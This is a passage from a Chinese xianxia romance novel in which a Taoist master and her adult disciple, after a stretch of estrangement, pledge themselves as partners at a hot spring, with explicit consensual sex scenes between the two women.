“不知。道观里那么多蚊子,岂都轮得到我管?” “那就请姓穆的那只管好你自己!” 晚上傅清微用完晚饭后就进屋把门锁上了,门窗紧闭,徒留穆观主在屋外束手无策,插翅也难进。 第124章 穆若水又一次喜提闭门羹。 她独自在屋外徘徊, 放下身段贴着门口软语说了几句好话,“清清”“清儿”都用上了,傅清微铁了心不再上她的当。 缓兵之计。 师尊三十六计用得出神入化, 她只有一计:以不变应万变。 穆若水彻底束手无策。 如今的局面, 要么傅清微退一步, 不再向她索爱,意味着她也不再爱自己;要么她进一步, 摒除这层师徒名分, 让傅清微做她的道侣,从此迈入新阶段。 两者她都不想选。 她可以陪伴她的徒儿一生, 从生到死地爱护她, 做师傅的送她最后一程。 可她不能失去自己的道侣。 自古有大雁忠贞,至死相随,从未听闻师傅为徒弟殉情。 她决不会让自己落入这般境地。 穆若水回头环视院落, 她的石棺好端端摆在中央, 她把棺材板上晒的辣椒搬下来,推开棺盖躺了进去。 一年前的这个时候,她刚刚认识傅清微, 就是在这里。 当时她没有这么多快乐,也没有这么多烦忧和恐惧,除了偶尔发作的红线,棺材里的生活平静。 那么就让她们的关系回去一些吧, 她可以不要那么幸福,少一点就好。 这样失去的时候就不会太痛苦。 穆若水合上了棺盖, 一声轻响, 万籁俱寂。 如同傅清微到来以前的无数个夜晚。 星月的光辉流转在石棺上,庭院角落那棵桃树栽下的痕迹早已不见, 故人,故人,新人也曾是旧人。 * 傅清微侧耳听着屋外的动静,打坐前和打坐后各听了一次,除了山林里夜晚固有的曲章,偶尔猫跳动的响动,没有传来任何声音。 穆若水可能睡了。 傅清微和她赌气,并没有打开门窗看一眼,而是也躺到了床上,睁着眼无法入睡。 她不懂,她们昨夜明明…… 穆若水爱意深藏,偶尔显露一点足以让傅清微欣喜若狂,报以千百倍的热情。 她的双臂挂在她的脖子里,任由女人的手和口在她身上种下火焰,一遍一遍向她诉说喜欢。 也许正是如此,穆若水控制不住地到处留下相爱的痕迹。 最后一次,傅清微从顶峰滑落,被女人延续的感官仍在高温里继续蔓延。 穆若水上来抱住她,深深浅浅地吻她,耳鬓厮磨,长久地温存。 少了很多欲,多了很多情。 傅清微在黑暗里看不清她的眼睛,可她能感受到的爱意一如既往。 “你有没有一点喜欢我?”傅清微不问许多,不问爱,只问一点点,她只要她承认这一点点就够了。 穆若水的脸埋在她的颈窝里,无声点了点头。 傅清微低头吻了吻她的长发,回应她:“没关系,我爱你,我会等你也爱我。” 她以为她们俩的感情只是不对等,没想到第二天穆若水又翻脸不认账了,连这一点点也否认。 昨晚是鬼在她脖子里点的头! 傅清微越想越气,把睡着的小三花rua成潦草小猫,在小猫啪嗒啪嗒的规律舔毛声中断断续续地睡了过去。 第二天早上没有饭吃。 穆若水不见了。 首先,她不可能有危险,所以只能是她主动失踪的。傅清微正在和她冷战,当然不可能再去找她,她去冰箱的冷冻层里翻出速冻食品,对付了一顿早餐。 她坐在院子里吃饭,丝毫没有觉察到本该空荡荡的石棺里躺了一个人。 晒辣椒的簸箩在阴凉的地方,傅清微诧异地瞧了眼,昨晚她是放到这里了吗? 算了,可能是穆若水嫌碍眼随手拿开了。 傅清微对着无人的院落说了声:“我去练功了。” 接着她便头也不回地转身离去。 小狸花一个跳跃踩在棺材上,轻轻地喵了一声试探,里面传来指节轻叩石板的声音,响了三声,狸花便自若地在上面散了一圈步,和刚睡醒的三花玩去了。 穆若水消失了一个白天。 傅清微中午也没见到人,傍晚从林子里赶回来的时候已经开始担心了,再见不到她她就要给穆若水打电话了。 她步伐匆匆。 穿过一道密林,傅清微见到了一丛炊烟袅袅从前方升起,焦急的心顿时落了下来。 饭菜香从开着的门口溢出来。 傅清微的步伐从迈进门槛后慢下来,自持有礼地转向厨房熟悉的身影:“师尊。” “回来了。” 穆若水应了一声,并未将视线第一时间投过来,盯着锅里继续翻炒,道:“洗了手准备吃饭吧。” “是。”傅清微解剑回房。 穆若水听着她的脚步远去,不动声色地舒了口气。 对她的紧张少一点,不要总是望向她。 傅清微吃饭的时候,穆若水坐在对面看书。她已许久不在这时拿起书了,从前傅清微拿她当下饭的秀色,她也礼尚往来欣赏年轻的美色。 穆若水全程闷头看书,傅清微说吃好了她才抬起头。 “为师看入迷了。” “……” 傅清微起身收拾碗筷。 穆若水心想:这段没演好,下次不要加台词,保持自然。 傅清微在灯下洗碗,穆若水悄悄看了她的背影好几眼,怕注视的目光会被发现,她停留二三秒便会移开一次视线,在别处漫无目的地望上十几秒,周而复始。 穆若水赶在傅清微洗好碗之前离开厨房,去院子里给猫加餐。 傅清微出来也只望见她的背影。 女人蹲在屋檐下,几步远的碟子里放着冻干,小三花正埋头库库炫饭,狸花少见地趴在穆若水脚边。 灯火阑珊,穆若水从出神中醒过来,伸手摸了一下狸花的脑袋。 狸花懒洋洋地抬了一下黄澄澄的眼珠,看在她情绪低落的份上,没有躲开。 身后不远处响起脚步声。 穆若水的背影跟着僵了一下。 声音进了对面的房里,房门随即关上了。 穆若水不知道自己在期待什么,明明已经下了决定,还是会为她的脚步心悸。 晚上十一点,房间的灯熄了,傅清微给她发微信:【师尊晚安】 穆若水秒回:【晚安】 她又想:下次不要回这么快。 可是师傅待徒儿事事有回应,回得快些也没什么,还是保持原样。 穆若水从温泉回来,掐诀净衣,躺进了她的棺材里。 那个房间再小也显得空旷冷清,不如狭窄的石棺更适合她,睡一晚上偶尔也能眯着一会儿。 她们的关系倒退回了穆若水和傅清微刚在山下同居那段时间,保持距离,各睡各的,少了以暧昧之名的肢体接触,师徒名分仍在,穆若水便将心思放在怎么履行为师本分。 既然决定要做一个好师傅,那就言行一致,贯彻到底。 傅清微正在结界里练剑。 少了灵管局派任务,傅清微练功的积极性相应的也打了折扣,勤勤恳恳,但内心茫然。 她不是真的要当个隐入深山的道士,不提得道成仙不切实际的话,她最初修炼就是为了加入灵管局斩妖除魔,现在不干了,她说当散人实际也没有可执行的章法,为了修炼而修炼。 现在和师尊又这样,感情事业双不顺。 一道白色的剑气挥出去,只击中了树枝,掉落几片叶子。 “准心偏了,挥剑有气无力,为师就是这样教你的?”穆若水站在结界入口,不知道看了她多久。 “我错了,对不起。” 傅清微认错认得很快,态度立刻端正起来,重新练了一遍。 她的步法身形已经完全和剑法融合起来,一剑荡去,浮浪生波,地面的落叶跟着卷起来,飞舞盘旋。剑势未尽,又接了一剑,其势绵延不绝。 空中的树叶一直没有落下,出剑看似缓慢,实则有劲力托着,比起暴起暴落,她这样清风徐来的剑法更难掌控。 其实穆若水一开始不是这么教的,但傅清微练着练着有她自己的风格,穆若水对她的功课盯得不紧,由着她的天性发挥,竟真的让她摸出了门路。 傅清微那柄剑和她愈发心意相通,潜心练剑之后剑身竟凝成一层细细的白霜,每一次挥动剑气,空气里便染上雪白的雾气,湛湛生寒,如秋水,如坚冰。 穆若水抬手摄来一滴空中凝结的雨水,仰脸看了看朦胧的天。 曾经她担心傅清微会因为灵枢子舞剑落雪而心动,而今这雪也为她而落了。 始知心动的不是雪,而是舞剑的人。 林子上空飘下了几颗雪籽,傅清微收剑用二指抹去剑上寒霜,对上女人出神的双眼,问道:“师尊,这把是什么剑?竟然有此神威?” 穆若水说:“无名。你要是想的话,这就是你的剑,你可以为它起个名。” 家里的三花和狸花现在都没有大名,统称“嘬嘬”和“咪咪”,足见二人取名的功力。 傅清微想了想,说:“我如果叫它相思的话,会不会有点小家子气?” 穆若水说:“不会。” 傅清微点头道:“那就叫相思吧。” 穆若水颔首。 她从库房里找出这把蒙尘的剑,不知过去,焉知它没有相思之人?念主也是相思。 傅清微握着刚起好名字的长剑,清亮剑身忽然一阵嗡鸣,刚刚拂去的霜雪极快地在剑身又凝结了一层,似在回应她。 穆若水:“它同意了。” 傅清微:“真的假的?” 穆若水:“真的。”连罗盘都快生出器灵了,这把剑跟随主人出生入死,日夜侍奉主人身旁,通人性有什么奇怪? 起了名字的剑就和起了名字的宠物一样,性质天壤之别。 傅清微抱着自己的剑爱不释手,想起来问道:“师尊找我有事吗?” 穆若水:“没事,来瞧瞧你的功课,看看有什么可指正的。” 傅清微回剑入鞘,把剑解了交到她手里,给她单独演练步法和身形。 两人在林子里待了一个下午。 穆若水主动上前指导她,但凡要上手的,都隔着衣服和袖子,绝不触碰她的肌肤一分一毫。 傅清微有一个动作一直差点儿,需要穆若水从背后教导,她刚刚来到傅清微的左后方,抬手扶上傅清微的胳膊,傅清微忽然脸向左边偏,目光直直撞进她眼神里。 穆若水下意识往旁边躲闪了一下,才和她对视。 对视坚持不过两三秒,她的目光就往下不自觉掠过年轻女人淡粉的樱唇。 比起盯着唇,更令她不敢直视的是傅清微的眼睛。 穆若水松开她的胳膊,退后一步,低眸:“……就是这样,你继续练吧。” “我要回去做饭了。” 穆若水努力控制自己的背影不要像落荒而逃,平稳地走出结界,然后马不停蹄地飞掠回道观。 * 穆若水自以为她演得很好,实则处处都是破绽。 她几乎不敢和她长久对视的眼神,总是在身后悄悄看她的背影,刻意保持的距离,一旦有直接的身体接触便表现得宛如惊弓之鸟,当然,她以为她是淡定的。 傅清微吃饭的时候忽然伸手用拇指指腹蹭了一下她的脸。 穆若水反应过度,手里的书差点掉在地上:“你干什么?” 傅清微:“有个脏东西,现在弄干净了。” 穆若水定了定神:“可以告诉我,我自己来。” 傅清微执起筷子,温良道:“嗯。” 穆若水抱起书换到另一个光线亮的地方看——抬眼刚好可以看到傅清微背影的地方。 今天也被师尊悄悄盯了一天的傅清微走进房间,关上了房门,隔绝了外面的视线。 她不明白穆若水在顾虑什么,她的人生有限,她一直是抱着珍惜每一天每一个时辰的想法在和师尊相处的,穆若水应该也明白这个道理,她会死。既然如此,她们不是更该抓紧时间相爱吗? 为什么她一直在逃避? 假如意外比明天先来,她不会后悔吗? 傅清微反正会后悔莫及,对她而言,在一起的时间里,每一分每一秒,都用来相爱才不算虚度。 既然穆若水不肯主动,第九十九步还是由她来走。 傅清微不知道穆若水最近一直睡在棺材里,否则的话她的决定可能会更早下,她知道师尊有每天泡温泉的习惯,或者说为数不多的,除她以外的爱好。 后山那座月牙形的淡绿色温泉,风景和泡池都是一绝。 那是穆若水的私人领域。 傅清微很少涉足,一般都是去给穆若水送睡衣,送完就走,绝不打扰。 这日夜晚,月朗星稀,傅清微特意在里面换上薄透材质的单衣,踏上了去温泉的路。 山路灌木窸窸窣窣,人的脚步声和动物大不相同,靠坐在池边闭目养神的穆若水睁开了眼睛,瞧见一个窈窕的身影朝温泉方向走来。 穆若水低头检查自己一番有没有走光,尔后假装没听见地合上了眼帘。 傅清微的脚步在岸边徘徊了一会儿,穆若水不清楚她打的什么主意,以不变应万变。 哗啦—— 傅清微下水了。 穆若水差点儿直接站起来,手臂挡着自己的胸口悄悄探出一半身子,傅清微正一步一步地涉水到深处。 她的外袍脱在了岸边的石头,身上的单衣从下往上浸透,贴在姣好的身体,曲线一览无遗。 穆若水至此定力都是稳健的。 不就是穿着衣服沐浴吗?她连光着的傅清微都见过,多一件衣服难道她能把持不住? 虽然确实透了点儿。 她眼神好,注意力再集中点都能看见轻衫里饱满挺立的红梅。 穆若水重新坐回了水里的石椅。 傅清微开始脱衣服了。 她穿的衣服是交领的,先解开胸前的襟扣,从左边,再到右边,动作缓慢,一寸寸光滑的肌肤像是对面某人用眼神剥落出来,牛奶一样的白流淌在她的眼底。 单衣飘在了池面上。 穆若水闭了闭眼。 两人没有任何对话和眼神交流。 傅清微掬水开始沐浴。 夜幕星空下。 穆若水闭着眼,听着她如何一点一点洗净自己的身体,手指抚摸过任何一个她已知的细节,温泉水包裹着她的全身,周围水波荡漾。 她对傅清微的身体了若指掌,不知不觉在脑海里换成了自己的手,不错漏一丝一毫地抚弄过去。 饮鸩止渴。 傅清微忽然轻轻地嗯了一声,尾音轻颤。 穆若水耳根软得以为是幻觉,但分明是从她耳朵里传进来的。 穆若水恍然睁眼,见傅清微已经来到了她身前不远,一只手正在看不清的水里,引人遐想。 傅清微泡温泉的经验极少,这次纯属是意外,她当成洗澡了,洗到那里才想起来好像不能洗,热泉已经浸漫进去。 傅清微将手拿了出来,赧然地轻咬下唇,看向穆若水。 穆若水:“……” 她现在不是个定力好的人了。 傅清微没打算一次成功,她洗好以后静静地泡了一会儿,大约半小时就出水了。 在岸边擦身的时候侧对着穆若水,月光镀满了皎洁美好的身体。 穆观主此生的视力都没有这么好过。 她里面什么都没穿,披上原来的外袍离开了。 徒留穆若水一个人在温泉里,遐思无限,久久不能回神。 道观里傅清微的房间依旧门窗紧闭,穆若水在门口站了一会儿,神情复杂,不知道想了些什么。 叹气声回荡在空荡的院落,穆若水躺进了自己的石棺里,彻夜无眠。 第二日傅清微来到温泉边,她以为穆若水识破她的法子,会趁机躲她,实则她仍在原处,仿佛在等她。 傅清微进入水里,照例把自己脱光了,在她对面沐浴。 穆若水靠在池沿,不再闭眼,而是从头到尾尽收眼底,傅清微差点局促得洗不下去,然而不可功亏一篑,于是回忆着刚从网络上学的法子,生疏地勾引她。 她不知道,无需这许多花样,她站在那里便会吸引穆若水所有的注意力。 穆若水看着她,只是茫然地在想:已经到了非如此不可的境地了吗?我的坚持是否完全没有意义? 她要退,傅清微却不肯。 她总是拗不过她的。 第三日傅清微换了一身更透的轻纱,褪下外袍的时候她自己都害羞,山风袭来她和一丝不挂没什么两样,连忙进入到温泉里,让热意流过她的四肢百骸。 她往水深处走,漫过她的大腿、腰肢、胸口,快没到精致的锁骨时,她被一个滚烫的怀抱拥住。 再冰冷的皮肤在40°的温泉里泡久了也会变得温热,何况她的血会随时随地为她而热。 不是因为欲望,而是别的。 傅清微猝不及防,一动不敢动,因为她穿了一身相当于没有的衣服,穆若水直接没穿衣服。 泡温泉谁会穿衣服? 傅清微似乎才意识到这个问题,整张脸都在她抱过来的时候涨红了,雪颈也粉红一片。 她只做好了勾引的准备工作,没做好勾引成功后的心理准备。 “师、师尊?”傅清微在她怀里僵着身体。 “不是很有胆色吗?”似乎终于想通了某个决定,穆若水在她耳边轻笑着说,“现在怎么紧张成这样?” “我没、紧张。” “那你抖什么?我都没碰你。” 说都说了,穆若水干脆亲了一下她白净小巧的耳朵。 “没抖。”傅清微控制着自己颤抖的声线,推开女人滑腻的肩膀,指尖回味,悄悄往下看了一眼,说,“女女授受不亲,你不要碰我。” “师徒也不行?” “不行!”傅清微的声音立刻高了一个八度。 “好,我明白了。” “你明白什么?” 穆若水却不答,傅清微那一下手在穆若水圆润的肩头打了滑,根本没有推开她,穆若水手臂一收,她就更深地陷入女人的怀抱,慌乱之下她的手掌胡乱按在一处,触感异常绵软,更不敢动了。 “为师想起来,还有一法未教你。” “什么?” 傅清微眼前的繁星被女人放大的五官覆盖,她的唇瓣被轻轻地咬了咬,吐字从唇齿的缝隙里滑出来。 “……与我双修。” 第125章 傅清微这颗心已经不会为她的花言巧语而陷入粉色迷障。 在女人低头顺着吻到她细肩雪颈时, 她用手掌隔开了对方的唇,故作冷漠地问:“你什么意思?” 她适当地拉开了二人上半身的距离,让自己能看清穆若水的脸。 白雾氤氲里, 这张脸挂着热气的水珠, 眉睫弯弯, 双颊洇出浅粉,少见的娇媚。 傅清微的心又开始乱跳, 强迫自己将视线落在她鼻尖。 穆若水一通百通, 愉悦之余生了两分逗弄她的心思:“什么什么意思?” 傅清微总是最勇敢的那个,勇敢到敢踩在师尊头上蹦迪。 “少装蒜, 你是不是又想法子蒙我?等那个什么劳什子双修结束, 你又穿上衣服走人。”傅清微神色警惕,上过她的当,绝不会再上第二次了。 “你说话倒是愈发不客气, 这是待为师的礼数吗?” “你在池子里光溜溜地抱着我, 这是对徒弟的爱护吗?” “自然不是。” “那是什么?”傅清微已不指望从她口中听到她想要的答案,极快地呛声道,火药味十足。 “是道侣。” 由于穆若水吐出的那两个字眼过于陌生, 傅清微第一遍没听懂。到什么? 穆若水俯首贴到她的耳边,侧着脸,耳根传来吐息的丝丝热气。 “是对道侣的喜欢,可以吗?” 傅清微怔住。 她长久的沉默。 穆若水用唇点点她的耳朵, 竟怀了两分忐忑:“你怎么不说话?” 难道她不愿意?自己也自作多情了? 傅清微默了良久,开口的嗓音竟有些艰涩低哑:“你说的道侣, 和凡间的爱人是同一个意思吗?” 穆若水对爱人理解得也不算透彻, 她想了想,有个更贴切的词。 “是成亲的意思。” 修道之人脱离俗世, 道侣就是彼此最忠贞的誓言。 是天地见证,生死相许,一生一世一双人,永不辜负。如有违誓,粉身碎骨。 穆若水在水里执起她的手,向心爱的人郑重起誓:“那么,你愿意和我结为道侣吗?” 傅清微的泪水骤然滚落。 她泪眼模糊得看不清眼前人,却给出了坚定的答案。 “我愿意。” 她的视野一点一点变得清晰,面前的女人口唇含去了她的眼泪,声音似叹息。 “怎么又哭了?” “你又不是不知道,我是水做的。”傅清微哽咽,小力捶了一下她的肩膀,触感不同以往,她后知后觉地触电般缩了一下指尖。 继而她想,她们俩都是道侣了,碰一下……也没关系吧? 她边观察着穆若水的神色,边将手掌重新放了上去,包住她圆润雪白的肩头,指腹在其上抚了抚,似羊脂玉光滑细腻,心满意足地不动了。 穆若水忍俊不禁。 声音大了不少,胆子还是这么小。 傅清微穿着一层湿透的轻纱靠在她怀里,如坠仙境,美好得做梦一般。 “你刚刚说了什么?能不能再对我说一遍?” “即使你现在是我的道侣,也不代表你能得寸进尺。”穆若水羞恼,故作冷淡地回答,仍然确认了她想要的那句话。 “你想和我成亲?”傅清微绕着她的一缕乌发在指尖打转。 “你不想?”穆观主惯会反问。 “我当然想,做梦都在想。” “谁知你想的是谁?”穆若水冷哼。 傅清微真做过成亲的梦,看不清人脸,她以为这段在上次说开后已经过去了呢,果然谈了恋爱的女人都不能避免翻旧账。 “又吃醋了?”傅清微偏头看着她的脸,池子里热得很,女人的双颊慢慢染上点点樱红,真像脸红了似的。 如斯妩媚,傅清微瞧得移不开眼。 穆若水连耳根都跟着升温,避开了她专注的视线。 “躲什么?”傅清微发现新大陆似的,伸手扶住了她偏向一旁的脸,笑道,“你害羞啊?” 穆若水深呼吸,心口起伏,离恼羞成怒只有一句话的距离。 傅清微立刻收回了逗她的口吻,认真地说:“我当然想的是你。除了你,我还能想和谁成亲?” 穆若水却心道未必。 你现在是只有我,从前不一定有谁。上一世的我和这一世的我,你更爱哪一个? 为什么你都转世了还记着她? 你们是不是也曾经成过亲?拜过堂洞房花烛? 傅清微哪晓得她许多心思,将她的手牵起来按在自己胸口:“不信你摸摸我的心?每一下都是为你而跳动。” “心不跳人就死了。” “……” 傅清微:“我在和你说情话,你在对我讲科学。” 穆若水:“我心不跳,我就是个死人。” 傅清微:“你确实是个死人。” 死活不解风情的人。 穆若水把她气够呛,总算稍解陈年老醋,弯了弯眉眼,习惯性揉了两下移开手掌,将耳朵贴了上去。 噗通—— 噗通—— 穆若水抱着她在水中,听着她沉稳略快的心跳,对着她的心脏轻轻说了声:“我喜欢你。” 噗通噗通噗通—— 心率飙升。 穆若水如愿以偿,直起身来,傅清微双目噙泪看向她。 傅清微:“你能不能看着我的眼睛说一次?” 穆若水:“……不能。” 这样连温泉都不能掩饰她的窘迫和脸红了。 傅清微:“好不好嘛?” 穆若水:“禁止撒娇。” 傅清微开始在她怀里扭来扭去,变本加厉地撒娇,她以前也常常这样,但之前她们俩都衣冠整齐,现在…… 傅清微一身的轻纱湿得不能再湿,完全贴合身体,犹抱琵琶的程度都谈不上,打眼一瞧哪哪儿都是透的,身段婀娜,窈窕起伏,新雪簇拥红梅,凸显在纱衣上。 饱满挺翘,半露不露。 比真的什么都不穿又多了一丝诱人,宛如春日枝头渐渐熟透的红果,初见成熟韵味。 穆若水心想:这身衣服还挺适合她的,以后多穿。 傅清微面对着穆若水,湿透了的身子贴上她的肌肤,二人身量相差无几,这么在温泉里相对而站,什么也都抵着。 傅清微贴紧了她,身体轻轻地蹭动,愈来愈涨,红梅夺雪。 穆若水才是那个没穿衣服下水的人。 她的气息屏住了一瞬,长长地吐了一口气,忍住险些出口的轻吟,抬手制止她的磨蹭。 傅清微蹭得脊柱发麻,站不住,这会儿刚好支撑不住地让她扶住了手。 穆若水嗓音低哑:“勾引我?” 傅清微枕在她怀里,微微地吟,眼皮自下而上撩她:“那你上不上钩?” “上。” 穆若水低头亲她一口,心甘情愿地咬了她的钩。 她凝目注视着年轻女人的眉眼,眷恋地看了又看。 方牵起她的手往池边休息的地方走,底下有一条石椅可以坐,方便许多。 傅清微第一次来这边,一步一涉水,紧紧地勾着女人的手。 刚拜师那会她们俩在阁皂山附近的私汤,第一次共浴,两人都穿着衣服瞎讲究,个中回忆不提也罢。彼时傅清微从来没想过真的会有这么一天。 穆若水坐到水下的石椅里,让傅清微坐在她大腿上,一条手臂环着她的腰肢。 傅清微刚坐下去,整个人就麻了。 首先她那个纱衣隔不了一点,因为水的浮力,下半部分衣服是没有遮挡她的肢体的,她相当于直接坐在了穆若水的大腿,而对方也完全…… 她不知道水底下的师尊具体什么样,但这么一坐,她有一部分察觉到了女人的特征。 水草丰茂。 傅清微如坐针毡,脸和脖子都被温泉的热气熏红了。 穆若水喜欢抱着她,似乎根本没有注意到她们贴得太近了。 傅清微扭着身子动了动,最终决定站起来:“师尊,我……我想坐凳子上。” 穆若水不解地和她换了位置,傅清微坐下,只露出个脑袋,穆若水没坐,她站着,一条胳膊挡在自己身前。 傅清微顿时又行了,来劲地笑问:“你遮什么?” 穆若水转过身,背对她说:“我又不是你,习惯当人面不穿衣服。” 傅清微:“把人换成你,说得我好像很浪荡。” 穆若水:“你当然不,是我的问题。” 穆若水扬手用水幕给自己造了身淡绿色的衣服,转了过来,言笑晏晏。 傅清微:“……赖皮。” 技高一筹的穆若水来到她的面前,循循善诱地哄道:“你不是要勾引我吗?再勾引一次。” “你把水幕去了。” “勾引成功我就去掉。” 傅清微抬起眼帘,琥珀色的双瞳注视着女人的眼睛。 一、二、三…… 她在心里默数到了五,水幕轰然落下,穆若水偏头朝她吻了过来。 一只手捧着她的脸,另一只手抚在她的肩头,细腻指尖来回地轻滑,如同抚过上好锦缎。 傅清微仰着脸和她接吻,两条胳膊都挂在她的后颈。 穆若水站着比她高,于是弯下腰,沉甸甸地坠着。 傅清微被女人熟练地掌握在手心捉弄,她睁开了眼帘,映入视野的是女人挂着水珠的锁骨。 视线往上一点是女人柔情的目光,往下一点是她不敢直视。 穆若水垂下眼,看见她躲躲闪闪的眼神,不免好笑:“你在干什么?” 傅清微继续目光游移:“啊,我。” “你很少这么讲话,紧张?” “有点。” “为什么?” 傅清微的视线从远处的温泉收回来,飞快地往她身前扫了一眼。 “想?” “想。” “试一试?” “我可以吗?”傅清微说着,修长指节曲了曲,跃跃欲试。 “不可以。” 傅清微便打消了念头,偷感很重地瞟几眼,随着女人的动作轻晃。 穆若水低下来亲她,含着她的唇问:“你怎么这么听话?” “你是我女朋友嘛。”傅清微的手只敢搭在她的肩膀。 她说的还是委婉了,心里想的是:听老婆话是传统美德。但观主可能不喜欢俗气的称呼。 “太听话了。”穆若水转而勾了她口中的软舌,几番含弄吮吻后,道,“好乖,我现在允许你。” 傅清微的大脑还沉浸在她没有否认新称呼的喜悦里,下一秒就被砸下来惊喜大礼包。 但她没有第一时间去拆礼物。 而是搂着女人的肩和她接吻,不管做什么都讲究水到渠成。 穆若水将脸埋入她的颈窝,细细地在她侧颈和耳后落下湿吻,傅清微的手也慢慢地爬了上来。 她抖着手,颤颤巍巍地捧起来,五指一陷,险些脱手。 傅清微:“太滑了,对不起。” 穆若水:“……你怎么一副从来没见过女人的样子?” 傅清微:“我也只有过你一个女人而已。” 直接但出奇的受用。 穆若水弯了眉眼,停下来重新和她接吻,在心里又说了一遍喜欢。 之后穆若水腾出一只手覆在她的手背上,引导性地带着她。 傅清微不足为惧,她那小猫踩奶一样的力度影响不了穆若水任何,转眼间她的手已碰到了分外柔软的双唇,指尖揉了揉,一边望着她的眼睛一边用手指侵入她。 傅清微的动作全都停下来,微微地张开口,露出湿红的舌尖。 穆若水说:“我还没开始呢。” 傅清微把嘴闭上了。 穆若水探进一节指节,她被迫又把嘴张开了,小声地喘了一下。 穆若水亲了一下她的脸,说:“很可爱。” 傅清微平时被她夸没什么,这时候总是容易脸红,说什么她都飞快地害羞。 穆若水沉迷于她的神情,慢慢地抽出被她浅浅咬着的指节,在她唇缝间来回滑动。 傅清微的反应很是热情,定定地回视着她的眼,眼尾漫上浅红,露出那种不堪承受的神情。 穆若水再次探入一节指节,来回几次,都没有深入。 傅清微含了她几次,终于忍不住问:“为什么不继续?” 难道她又想逃? 穆若水低头亲她,温柔地解释:“你和我的……我不想在这里,我们回去再继续。” 傅清微:“现在回去吗?” 穆若水:“待会儿。你勾引了我这么久,总要给你点奖励。” 傅清微面前的穆若水消失了,彻底沉入了水中。 女人冰凉的手在温泉里泡暖了,扶上了她两枚玉碗似的的膝盖。 穆若水在水底有一个得天独厚的优点,她不用呼吸,意味着中途不用露出水面换气。 凡人屏气计时那套在她身上完全无用,所以傅清微根本算不清她下去了多久,她一直扭动着往后缩,后背贴上了湿润的池壁。 忽冷忽热,忽快忽慢。 傅清微好像发烧了似的,完全不受自己控制,脸被温泉的水汽熏得通红,哭叫不停,眼泪一颗一颗往水里掉。 比吉尼斯世界记录长的时间过后,穆若水钻了出来,脸色异常红润。 她抱了抱被自己折腾惨的年轻道侣,说:“辛苦了,很棒。” 傅清微咬了一口她的肩,残留的两颗热泪滚落。 穆若水就从休息的池壁出水上岸,掐诀弄干二人以后,抬手摄来远处的衣物,她先裹了衣袍,再来为傅清微穿衣。 最后给自己系上腰带。 “好了,我们回去。我抱你还是你自己走?” “你抱我吧。” 傅清微刚被弄完,暂时没力气,女人肩头的牙印还新鲜着。 穆若水抱起她,两人飞回了院子里。 傅清微双脚平稳落地,感叹了一声:“真方便啊。” 穆若水说:“从今往后,任尔驱使。” 傅清微回头望她,这才有了些新晋道侣的实感,她两只手捏上穆若水的脸,说:“真的假的?” 穆若水:“真的,但脸不能捏太久,我会生气。” 傅清微:“什么时候想通的?” 穆若水:“昨天晚上。” 两只猫从屋檐下走出来,看到她俩本来要回避的,似乎没吵架,小狸花带头蹲了下来,小三花蹲在它身边,两只猫猫头姿势一致。 院子里的热闹还没完。 “要是我今天不去温泉找你呢?” “那我就把结为道侣的话再咽回去。” “咽回去不难受吗?” “难受。”穆若水一手后背,望着眼前寂静庭院淡淡的怅惘,道,“比起将来的难受,如今倒也算不了什么。” “将来?” 穆若水说:“这两只猫,她们的寿命只有十几年,等她们离开的那一天,你会不会很痛苦?” “会。” 傅清微说:“可我并不后悔养了她们,不能因为怕失去就拒绝开始。” 穆若水自嘲道:“你总是如此,我没有你勇敢。” 傅清微:“那就把我的勇敢分你一点。” “分得了吗?” “分不了。”傅清微笑道,“你说话有歧义好吗?这叫我怎么回答。” “……” “你跟我来。” 傅清微拉起她的手迈过门槛,来到门外,对着群星和天地起誓:“天地为证,我傅清微,今日愿与穆若水结为道侣,今生今世,爱她护她,矢志不渝。” 山风拂动,傅清微转过脸看着她。 “我穆若水,今日愿与傅清微结为道侣,永生永世,白头到老,矢志不渝。” 字字清晰,掷地有声。 穆若水缓缓放下并指起誓的手,胸腔莫名激荡,仿佛有什么要冲出来。 “什么感觉?” “我想和你在一起。”穆若水毫不犹豫地说。 “我就说你能分到我的勇气吧。” “是。” “那……女朋友亲一下?” 穆若水听话地低头亲了亲她的唇。 不过…… “这个称呼怪怪的,我们并非俗世之人,不要常用。”穆若水淡道。 “那叫什么?师尊?” “可。”穆若水早破了师徒禁忌,不在意这些虚名,顺耳最重要。 “若水?” 傅清微记得她好像不喜欢被这么叫,虽然不明白为什么。 穆若水忍住了皱眉的冲动,这次却答应了她。 “偶尔为之,亦可。” “哎?”傅清微抬头。 名字只是代号,穆若水猜测可能与她的潜意识有关,既然都是前尘往事,何必耿耿于怀,傅清微喜欢叫她的名字,就让她叫好了。 “若水。” “为师需要习惯一段时间。”穆若水抬手扶额。 “为师?” “我再再习惯一下。” “我是想说,你自称为师挺好的,不觉得很有情趣吗?” “……” 徒儿的情趣太多了,她只能尽力满足。 * “师尊,师尊……” 昏暗的卧室里,傅清微两条手臂如藤蔓挂在女人身上,柔若无骨。 第一次毫无间隙地相拥,穆若水刚俯身下来抱住她,她就忍不住对着女人哼哼唧唧,用自己温热的身躯去贴着她,暖着她。 她贴紧了,细细感受她的身材,脸都红了,说:“师尊,你好……好……” “好什么?” 穆若水自上而下抵着她,埋首嗅闻她颈侧散发的清香。 傅清微咽了咽口水。 她回想之前在温泉里见过的半圆,惊鸿一瞥的全圆。 穆若水的手覆在她的手背,慢慢地牵引着她去探索,但傅清微实在太不争气了,初次上阵,她先是滑得抓不住,尔后手指使不上力气。 好不容易恢复了几分气力,被穆若水后来的攻势一打乱,她的手就又抓不住了,悲愤交加。 本来就很难一只手握住,种种外力作用下,她感受得很浅,连食髓知味都称不上,回头老是想着。 穆若水把玩着她滑落到胸前的墨发,说:“你怎么哪里都这么香?” “情人眼里出西施。” “西施亦不如你。” “……”傅清微慢慢把脸埋入枕头,只露出一只通红羞臊的耳朵。 “我说话是不是太过火了?”穆若水停下来,禁不住反思道。 “没有。” 傅清微一半的声音闷在枕头里,既羞又喜:“我多习惯习惯就好了。” “哦。” 穆若水顺势低头舔吻她耳根,很快从她口中逼出几分悦耳的轻吟。 傅清微的脸也转了回来。 她两只手抱住女人的腰,向上贴在女人曲线性感的背脊,感受着她挤压着自己的,喉中愈发干渴。 “师尊,我想先吃一次,可以吗?” 第126章 “你想吃什么?”新晋道侣说的话很有分量, 穆若水将唇从她耳边移开,抬起身子温柔问道。 傅清微的目光顺势往下瞟,一触即离, 喉咙接连滚动了两下。 植入骨子里的胆小, 一点也不堂堂正正。 穆若水直起身来, 跪坐在她面前,胸怀坦荡地说:“这样吃吗?还是需要我也躺下?” 房间里虽然没开灯, 但月色明亮, 